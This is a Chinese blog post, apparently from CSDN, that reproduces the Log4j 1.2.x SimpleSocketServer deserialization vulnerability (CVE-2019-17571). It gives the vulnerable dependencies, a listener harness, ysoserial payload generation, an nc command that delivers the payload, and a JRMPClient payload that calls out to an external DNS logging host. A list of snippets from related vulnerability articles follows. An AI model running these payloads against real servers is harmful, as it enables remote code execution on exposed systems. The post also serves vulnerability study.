代码编织梦想

1. 组件基本信息

1.1 pom 信息

<groupId>log4j</groupId>
<artifactId>log4j</artifactId>

1.2 影响版本

漏洞存在版本 1.2.4 ~ 1.2.17

1.3 漏洞场景

此漏洞需要使用 SimpleSocketServer 开启端口才能够接受 socket 中的数据进行反序列化操作,从而才能利用

通过 socket 通信发送 playload, SimpleSocketServer 接受到消息后,调用 readobject 进行反序列化存在漏洞

2. 漏洞复现

2.1 引入 pom 组件

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

2.2 新建 log4j.properties

在 resources 目录下新建文件

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

2.3 Log4jLeak 代码

public class Log4jLeak {

    public static void main(String[] args) {
        Log4jLeak log4jLeak = new Log4jLeak();
        log4jLeak.CVE_2019_17571();
    }

    /**
     * CVE-2019-17571 漏洞
     */
    private void CVE_2019_17571() {
        System.out.println("Listening on port 1234");
        String[] arguments = {"1234", (new Log4jLeak()).getClass().getClassLoader().getResource("log4j.properties").getPath()};
        SimpleSocketServer.main(arguments);
        System.out.println("Log4j output successfuly");
    }
}

2.4 下载 ysoserial.jar

下载地址

  • 官方地址
    https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  • CSDN 下载地址
    https://download.csdn.net/download/weixin_57672329/64795994

2.5 生成 playload

使用 ysoserial.jar 生成 playload, 保存到 log4j.bin 文件

# MacOS 系统
java -jar ysoserial.jar CommonsCollections7 "open /System/Applications/Calculator.app" > log4j.bin

# Windows 系统
java -jar ysoserial.jar CommonsCollections7 "calc.exe"  > log4j.bin

2.5 启动程序

运行 Log4jLeak 的 main 方法,启动 ServiceSocket 监听 1234 端口

Listening on port 1234
[2021-12-16 17:51:34,157]-[INFO]-[MSG!:Listening on port 1234]-[org.apache.log4j.net.SimpleSocketServer:60]
[2021-12-16 17:51:34,161]-[INFO]-[MSG!:Waiting to accept a new client.]-[org.apache.log4j.net.SimpleSocketServer:63]

在 log4j.bin 目录下,执行命令与 socket 进行通信,将 playload 的文件 log4j.bin 发送给服务端

nc 127.0.0.1 1234 < log4j.bin

反序列化漏洞利用成功,本地计算器程序被调用

xx

3. 漏洞源码分析

3.1 SimpleSocketServer 类

SimpleSocketServer 类的 main 方法,创建 ServerSocket 监听 1234 端口

xx

3.2 SocketNode 类

ServerSocket 接受到消息后,需要将消息解析,需要使用 SocketNode

(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start();

SocketNode 实现 Runable,最终调用 run() 方法, 漏洞利用点在event = (LoggingEvent)this.ois.readObject();

public void run() {
        try {
            if (this.ois != null) {
                while(true) {
                    LoggingEvent event;
                    Logger remoteLogger;
                    do {
                        event = (LoggingEvent)this.ois.readObject();
                        remoteLogger = this.hierarchy.getLogger(event.getLoggerName());
                    } while(!event.getLevel().isGreaterOrEqual(remoteLogger.getEffectiveLevel()));

                    remoteLogger.callAppenders(event);
                }
            }
        } catch (EOFException var36) {
            ...
        }
    }

4. 反射到外网

反序列化到反射到外网 dns 解析平台

生成 playload, 将命令中的你的 ID 替换成自己申请的地址

java -jar ysoserial.jar JRMPClient "log4j.你的ID.ceye.io"  > log4j-ceye.bin

与 Log4j 的 socket 通信,触发反序列化漏洞的 playload, 反射到外网

nc 127.0.0.1 1234 < log4j-ceye.bin

在 ceye 平台查到的反射记录

xx

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_57672329/article/details/121981288

cve-2019-0192一把梭-爱代码爱编程

背景: 近日,Apache Solr官方团队在最新的安全更新中披露了一则Apache Solr Deserialization 远程代码执行漏洞(CVE-2019-0192)。漏洞官方定级为 High,属于高危漏洞。该漏洞本

find-sec-bugs 漏洞范例-爱代码爱编程

第一章 Find-sec-bugs简介 插件介绍: Find-Sec-Bugs 是一款本地 bug 扫描插件 “FindBugs-IDEA” 的 Java 安全漏洞规则扩展库,它支持在多种主流 IDE 环境进行安装:Ecl

apache日志记录组件log4j出现反序列化漏洞 黑客可以执行任意代码 所有2.x版本均受影响..._weixin_33966365的博客-爱代码爱编程

开源的东西用的人多了,自然漏洞就多。Apache用于日志记录的组件Log4j使用非常灵活,在相当多的开源项目中都有使用,此次漏洞影响所有Apache Log4j 2.*系列版本: Apache Log4j 2.0-alpha1 – Apache Log4j 2.8.1,使用Java 7+的用户应立即升级至2.8.2版本。绿盟科技发布安全威胁通告,通告

生产漏洞修复总结_我的八仙桌的博客-爱代码爱编程

1、 修复ssh相关漏洞 漏洞列表: OpenSSH auth_password函数拒绝服务漏洞(CVE-2016-6515) OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325) OpenSSH glob表达式拒绝服务漏洞(CVE-2010-4755) OpenSSH J-PAKE授权问题漏洞(CVE-2010

cve2019-2725复现-爱代码爱编程

此漏洞存在于异步通讯服务,可通过访问路径/_async/AsyncResponseService,判断不安全组件是否开启 docker搭建环境: docker pull ismaleiva90/weblogic12 docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismale

log4j CVE-2019-17571 漏洞复现-爱代码爱编程

一、漏洞描述 Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。   二、漏洞复现 2.1 启动SocketServer端 import org.apache.log4j.Logger; i

(环境搭建+复现)CVE-2019-17571 Apache Log4j SocketServer 反序列化漏洞-爱代码爱编程

1、【CVE编号】 CVE-2019-17571 2、【漏洞名称】 Apache Log4j SocketServer 反序列化漏洞 3、【靶标分类】 通用漏洞组件类靶标 4、【影响版本】 Log4j1.2.x<=1.2.17 5、【漏洞分类】 代码执行 6、【漏洞等级】 高 7、【漏洞简介】 Apache Log4j 是一

mysql漏洞如何打补丁_漏洞治理(漏洞情报)调研报告-爱代码爱编程

君哥有话说 漏洞运营和安全资产运营是快速收敛攻击面的最有效的两个措施,需要企业安全建设负责人首要关注,并投入大量精力确保漏洞管理的各项细节落地,包括漏洞发现、漏洞推修、漏洞验证等各个环节,这里面的细节很多,比如覆盖率、漏扫范围、漏扫技术细节(未登陆扫描、被动式扫描)、漏扫类别、漏洞修复方式、不能修的漏洞补偿性措施、漏洞考核、避免历史漏洞重

log4j没有生成日志文件_log4j<=1.2.17反序列化漏洞(CVE201917571)分析-爱代码爱编程

PS: 文章仅用于研究漏洞原理,促进更好的防御, 禁止用于非法用途,否则后果自负!!! log4j 是Apache开发的一个日志工具。可以将Web项目中的日志输出到 控制台 , 文件 , GUI组件 ,甚至是 套接口服务器 。本次出现漏洞就是因为 log4j 在启动套接口服务器后,对监听端口

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)-爱代码爱编程

声明 好好学习,天天向上 漏洞描述 8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞 GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据

Apache Log4j Server 反序列化漏洞(CVE-2017-5645)-爱代码爱编程

文章目录 一、漏洞介绍1.1 漏洞介绍1.2 影响版本二、漏洞复现三、防御措施 一、漏洞介绍 1.1 漏洞介绍   Apache的一个开源的日志记录库,通过使用Log4j语言接口,可以在C、C++、.Net、PL/SQL程序中方便使用,其语法和用法与在Java程序中一样,使得多语言分布式系统得到一个统一一致的日志组件模块。通过使用三方扩展,

log4j反序列化漏洞分析(CVE-2019-17571)-爱代码爱编程

前言 Apache Log4j反序列化漏洞 影响版本 1.2.4 <= Apache Log4j <= 1.2.17 漏洞复现 idea新建一个项目,如下图所示: log4j: import org.apache.log4j.net.SimpleSocketServer; public class log4j { pub

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)-爱代码爱编程

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 漏洞环境 执行如下命令启动漏洞环境 docker-compose up -d 环境启动后,将在4712端口开启一个TCPServer。 说一下,除了使用vulhub的do

log4j反序列化漏洞详解及利用-爱代码爱编程

一、知识点分析 1.什么是log4j?与log4j2关系?   log4j是apache著名的开源日志框架,log4j是log4j2的前身。2.JNDI是什么?   JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Applicati

通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE-爱代码爱编程

Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 目录* 0 前言 1 找源头 1.1 找到触发点1.2 可用的gadget1.3 向上推触发点2 构造poc